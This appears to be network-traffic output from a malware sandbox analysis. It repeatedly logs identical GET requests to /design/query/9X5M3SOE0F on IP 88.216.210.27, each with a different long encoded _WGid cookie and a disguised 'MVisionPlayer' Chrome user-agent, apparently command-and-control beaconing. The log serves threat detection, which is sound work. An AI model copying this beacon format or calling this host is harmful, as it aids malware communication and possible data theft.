Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Yu4k8zktRLToGYvyWzjKk5iSp5gPqWSp9aGNPs3CvfRB2VODcHWi5JrkWSneE8Scioch_mHC-c2hlyOudEIIqMQw6BYIUzFN6PR4qz65u5X28iKoUkiIhiCW2hZKnmLZpmineCpATKjQFAAHbwLgKPFgpfWw_l8lovZV3y88JUpX2jxeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=zemFOpYq5X1HHio79D9rWjeVBlGgrsVgWqYs92LFHD3u3vJK33IDLTXj-OBxFGVVJYCAN87FWAQOkIJn20WpYWs3Sd-nVJCER_PZYpG-GlxZ9YNh_U8pT4-Re9_lmcMQCW8GsYVH7WF_E6HOwAVB4V5nBDwf-f7sDfH0FoA7hIP43Z2XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9Krf869pv7R-XXDyzXwxkw7WXJiZ7Z-pY-V2PluGRvTXnaiD5jFZ5AygoilIVz-cHMPa_veGAs0309iu4gbzqFJ0ExaeF8pNfrCDq6j9QJVgttmoxAxzhrbSIRbc2pnZMCxceLwEt6hGUPsH-UYbKGckXvUmuqQlNLKu37l43krBnsdeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=6eIBprIhYeFjFa6n0DTvxhOegs2EpUH8fq2oa0bOmKHK1XbW-3mHsRHofHxVH-HJAYsEq-rO3Jgqmwb7_04t_U88zUODXxQYY_hd_rW1nsB9_gf92USt06ua_0PBkkeMLWSCLaFMaf1bGCVS5A7FfXpsgKA78npwKfpwiqQwAB_c1hkLUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=xNo1Tp8ZVQlOLZpP_QzbLj6mtiWpnXUUU5Wcg2v2rEnn7UI-1kGzWTzQSJR4J9UhLLMwQ8f26HAHozIT0nYZFWIE-auuZyDwTsBpFpiNqihQxjMV9HyZO4aiy6vsqnNkAFy2xYx0XRV2IBG6yTbxlVdUtEgWyk6YBMJEYokINPfx7i3jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Pcs_jmYIX8m3PJCPBB3R7se3vOVQjH_UqoSWQ5Lnpoke_Ej-L1C5mcXBQlSBNt_h1aI6gz7n4rD-sjjTK2cT1ZsV82tXdiowt9Fj1mGcoOip1znVDW2T-3-zwWsVu3mk-U28BXVlV9WPMRt6MCf7Va5Fvojv20RY_dNOonAZPjcI_ycjUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WXjvawK7jyzTj0BqYK4BC6MEbAA0P68xzjdGpvZUdmx6T5gbS-NpfKFykrHlhQ8EsRHqZlpUMlWaAeg2T9TDMP-mI44zxfrV02KzMwUvcA3NZOkwad5DHhsAEY5xCKlBnf5s4BHWhzDrgsufVJQrsMr2bm2LaJS9mWCeRxSq7tJsTPfGUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=91ZFfayVJTp9oep8zoCrHQ0qxhaaEQUnYBnssFh63HrUYTIN5c3Dag9cOKdLq6USHz9AcPR6mEM0L0Ig4fppJlGIiZid61DDfUwZJasB2htjSkMmx_DpCLUuu5jfJgNXM9DG9r_4LSZFrGGJ-rqBpmTYxHslRj6rN040UbqERMTCYl3QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4HiZpLu7-eNqjzal2a53xBoEGs-NP9n-dzcwaU9UAKPDT-7U8uMfsxhy5H5chXnLCBGcqeNURJojAZ759tS1_0amVUGKxYwaamLF_LwvBsJ0ZJ__0N410aIAZ0HICN-OJP4aL6jW8f9Sgr1Q7ZRdf3P2GKIyaOJyIGDoiK2qmB3VTIEJUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vG2rC-euy0w2mgQKhbtFa0YRKGDRKutRKyICxhNBMgyfWtx7rvYtHERn1tEAkEtkVASuBr9BdjV_FKxWqsGHUBqzZ-7W0L61Nnf3U-A6NG0oca1QjMsHfv4VVe6UHe0heOsogPTDw1AOl4__sYFv0C_jKg1ufdDdfHXaJ_G_qrKJWbOmUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9qBlDa1jBUp8V8oMz3aLbQzc5mab5yVXYe_MwFmM_ArVlxJ95DvjGg6qGNdKXYViHslgAPWMuDM12WJQ4AxJVlB-qeicHXCzfLo5Var3-mtivGNWxgbJeLTYm-je0CMnMibmhr4ODVZEWkH5-0yh1mUu5AsksB7bNrgUIbtyZLTDlH2gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Y4TS3ThHsprpc33cWlI8vZn4UbYOw5KH9Mt7EMyoS9pAs6WtcR9UypuOrwffeTKyi-3X0GCoD-Og_dWAdSj-hsVaHjgJOcdj6Z6OhT_TTbv3mNSGUyJ-qCH8LDhL9JT3pwJRVisquobRfvYpbmgWBvAKU9uxlKkLo5yj8S5W02RWsMpwUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=n2pQLcSpMGoVnf8spry-TWUW00byLRB3CCX54DBGySq8XSddjfHWOmdgLfcjl7BCdwNVIJxGjRNcE1dwicZ8djm0nMj110WTFXAMdcM9z0sLdlZ2r8z8WN0Srsi3GhYHW-zTptfEOHYtkHTZkoaU9gzk0StNeiv7X3IhAdK4UZSqXkiAUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=en-O6CG87q_wiCHpQ6lgiIADDYMXOM6y7TAnJdVTF-9ZSPmYaOQI_4J18zLGgm6HkhaL5XlTU9a5Bom1bNOis9yhQg0QwptW8GXSsCYoEY7uY4izStkinTgHcA1SD8jCvvkNYzLR5rPIhaocd5NKM-nxD-6ob_U-umf_xDetj1FPS5ZFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=74oFr7RJZehlfaqu1lzrzxX2hsSCzUX1eMWsYkCmnKjMvXLf_RGDuBeAeHVTd-XAB-MAouym2JEs8wLy-SYp9ElUyUqFNxARZZBZ97Pdmsl7lgP03yyp2q3y-0rH-kOFKwyGJKckbfRdcCFb4mbBdHwEhKk9mn55L5J0g6JYBBbavh0CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=wUZLg5qFK8RLseSC-JCl4zs6yOisAQvZVgniTm5q0oTicTzz093NlDlMNll9u6vsKS9OjsJqlr0CP0ze1-pn2GeYh2ar-149S1wX250R1OVVWk3Y8eDn9oM-tWbpNg2pBcDICInoI9hzvG93zKqPWFLIyoUTVjBVAV46r4yUSjr0clMuUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=MruY72l4-Ki4TDfuC212j8jHG4Rf_Ni1pfQxIp2XAegRjO-fICAe-Mqx5TWORniA2tKd4jGXRdHxwp-yJBe0tJRlVApYBo1RuKHEt27sB4mmp560Ah00mnDDZgoay97F9j0bZHoV8LSAQbwbP1dcNKE1Gengq-M58qPpw39pmVYHj4BCUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=A6ZJKVhlKW6JUeYoOnCnSfnaykJu4QlzlOng5KyK0C4gkT5ZET3PPvusNPO_W6lG689MJACKlBfA3050FQplcqV4hcxpG1yXibwVcV_x1k-Xuk9yMwDlXEHet8wr1g8DxyDKoksIIXKxXG3dDkqN8pAoyC_RtjL_w744BU50SJA2klGEUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=cdOlzyoQxYj7JArOSAVLr4uvJqQclOWV5pwMAt7_PMhS5NK_Y0gj2InZ2BXNLkWgmbqgwnL_ePGyqqKSZ3-JlNcNaSobbrBx-8n5ly2EOqnlz6OUQXUJujOrWypZo-PltVUmRDl9zZTDKYE7fD9hFOJdJMmjw94ZscvU4zwBpHZE571iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=YGr8JjupnGHqnVMnWbwSRpoWf00NLbx89yVV689GZSFDXYtWcvF6MZhggfzclxxJiAP5K2NGIRijE_t7dsbQfca0MMMK1-mY6nCgfjw9Y0D0dvp9UMxQUyISAsNIGroMpOx_rSjElH3SkNjSbYY4_fPkfSCyeofwoHKNCi24_Z9VXuSLUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=SQyKaBLP6i_D-yVpcNpkCLNwCQMkS8oy3kMjpeYgE29qO_0YW5cMf7EG97L18WoHoWWPZUogV1aKdY01X6CmM-_SRo0jsZ_WwxbWMBVbFQ7dEIwzeaomHQt0dI1hfMxCjYoJ4wGi4jP79q6cROBOs9qCC26bHPG-iRT7RATei9F8OJLFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=zFzGbZefpipGq2ls9YooDTYgRQahG4Y3WxNvoGNwX2rva7Ed3sdAejRWu7dwoSYCJDXDYM9wG1MPJcEw2vDqNmqCCoim4dPTRkaaNZALWQtYQMA2_PpqGI4kOIjkLIBHCNpF5oTyrjZ-puKZwbACtl_SR2seTL27DES3QYGOx9T5aN7AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Me-wfmos0Dm7GB9_CDleHsuTMxVcqPAkpqAZs57DKXkS2McOI3Q2acnlzaSNElAR2Ya1czLDbUDylrcjJ0OcJZcxfJtbUqXAu_XsJm24Lxil87YlAUkcC3OXTpsZn_ZU9Wkz9XlB2CWDFZSKPAN0paJhMXjj_8uo8ffBUnw9sccE26jTUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=qrvALPF4oGsgTG8tk20uTFDHQ0fH_IB2PfRp4QWXWSuJjLdcuCBGO1KxvfYWRiBDQtLFIamXHRJpwsdxvBfsdwxlDMnABtWSIKGcdPbsX0o-p8Z3mh1sWejDPsmCy4YGbj1Dp-IVqHcYQeTYp1cE9zk1QSp4q7v6aqOxAOdpwZWfj9iBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Te3IiRYuqM7HGmeIdDsm6beRS-IgqojT2qJhROLBUY5u2r_5X3ZOnrXntVPxECjmpYTNhE7BFbeOlM_UW0Hk0uszBGwnUN03x_eU0RG6V-_Z8c7SfUtk_A-VNmxlnY6jiWtLAgVDoNL_F-x9QAEMUt5jSY-f_bNfjfW5pQA_yTB42dAkUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mE_7EMOMm1cSuFQRoZkVcGIzeHv1CLtKDwBS3TdjYhe7eIxgitR9B2BFhsoksht_cCb-HZtjJi5bNvxNjuPXSz6RN_Xy8u6uElWnSMQYZHYMU_1LqOlXZdo3BfWwP706XMl4m9Dhk0sqtd_klaM_ywvBehZKX4DGWFeKPNWd-qmte-O9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=-Ik-CqNKXk1yfpELwV_QagL1vWGVzn5Qb8aXx1elpw3bvkl66hK4HQCDQ9BEdN5lEOA7B_ul4zQ78DlX7iUSUV5X8u-SNCu0cpNiUqTeoWxslThRyC-Sf7rxwO_Q-XggPA-9gbAnVlFKcxr-9WX60WsHvwwqmUXcOJFPJrVbP7PNvSanUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QzUKFBj2alPJwqUVeuPkdLlJiX8uckpO1Hqj2ewZkxNgAn1kUa6MA7s_d87_yOp7q1wPGUAZ1yqATA1JVZkmT-XrxvEpiB-qyS9WTB9ilXLXKQxPc5OmYQFN9PFrRUw-h7OJnwubYk_xzy7gTtnOz9C7ixKRJXHCgy17OA7nC612ARK5User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=pRtWwv7YNoUv7PnDnM24ol9n1anIXBaYMlT_Dwo3z8WGLCGyt4DQ1V0RKxgZ5ratTXJTz6Y3i_xmYlGfs7d6mQPFmifPpkN8LwEKmvlMyaQxB1CZlb36t-djqCeNaxDoYZ3VSe21PpkX4XI2qPeSGTaV18R3Cy0UZQMn7ujJV3uQL05vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WPyX5wM_96DSCzjmYSp5h6KAFIw1u9e9z7M-KvfQDuB7y-CXSmcR8KD26j3kAXeIsJWS6lvQStmbhZC6TlC7vP4iWwIyQYJZ0ubLvwSrCIHM4JG8aFo7khqEaQJwjNHNnHoUbBBS_7zqBrMTVRBTPMtyFuGK7OwxmOTmyxUull5tyI9KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=g6jJUNhrqRcJX2ZRun4nMHnUSjvu74kKFOdgnSyEUFegn74gkTNPR3uitIo_VSk_a8HMXYCEFG5A0c4NlQTlCyV2BbXpFdzuCbKVCN__VjYXtM8Lsw5lJcHQN7Wr2I96Ry5K28sGoQsxUu2kjkQNixAmSFZRuLKGQ7C4fM56yOm2nNH9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mfE808IyXJQTBpPSoCfSs2ONv7j0tnyJDr6VHjbdpdS6xkuji2q6xGH7QQklDNy8cZg53prd4e1aiDuOj10QiD8v8DbzTCltE-tgi8Wmo7UN7TqIqVeQptuJwjaxgXr5XXe_WNFfVIgrCxgnlB34CAp_vdVL4UcFWelN_9QjPWqsxSR-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=uvOQ4OEw8KcwBD_hgyV-gECPE4vXtNC6Lbw5LRXfCeeZxOeQqGgW90L57ToGDnCPUpqV7bnfTd55ipe9rF-8uxwtXAXQToVeMOnMuOakD4Yu75a7ilU8lfiLbgWSg9bKfnUTa_Jd-LsICbQUtx9UOyl9EeZo4-s2euvhzPchkVmPx4hNUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9xY2fazVVjp94Zl8zsDYHQ1qtRaaUXYnYFmfsFg6r3rUIUEN5Y2wag8cS6dL69YSH38zcPQ660M0bzEg4boaJlHI-pidqyPDfQxqJatBqRtjCjAmx7CaCLVuyJjfZnBXM5C19r-4XiZF7BKJ-vrypmSYt3slBk2rNw5HUbrEN8TCIi7QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IHyBvnu_4fmqiy6_Gapv3toAAtVNO8HktzMoc49QGLkDS_bOMucHqdh2_GScgWHRyBWEsyNQXIDjBYbjNtCt5YaiTVtKwZQAqmbd5nwrHti0YIflENoty2IEf1sIDMeU5PoCNWjS6eWShqVKLZBFZbPyALjybPpo4GTwkm2ugAcVSJkTUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=At4NhlkdbcGIKaKHOwjj5viiju1vmU3clZGkS63ylIEh6Xr2EEWLkfrUcFy-I-3p6rcIiwHy0LjBpwrbFHIh3aQAwWNoYxg4iMRR3l6JkuCWwgvdMnih80Cm82MqrkusxliODUpwZd2wJClyDzLJXZFQjIDQznZQwsZ8qk8MDD836hUrUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=r9VUMPQWNHclIvsxlgO6UFWp11vCkhRqOJr9_QD5zTeM4iNAvU7SJ1ffKeoTKLRfR7xRPaz5iQ5srFNtuXl4awkLmNXFaEGOJc8IaPOCy1Y7yVJrn3P4Re2tqtWHpRIaa1PXu-d7PGsdL3DEojmQ6zxb1TZ9xS_mb80lHOIHVYma4UydUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=BQ1Knl7OKtmP-uWfPNuk_v9xyfVoSgrEkkLjU6oh05kmOj3uF5bMif0HN0S58Krx7WRPkwYhl6DGdE3DE6FmxaPThntvsF8gjxcWxlla1fiREUzFNavm60d1tHstfQy0wYvJFU2jIsW3925qCOGORZaDy5jXHTFIxRU7skjfSycwOVIzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
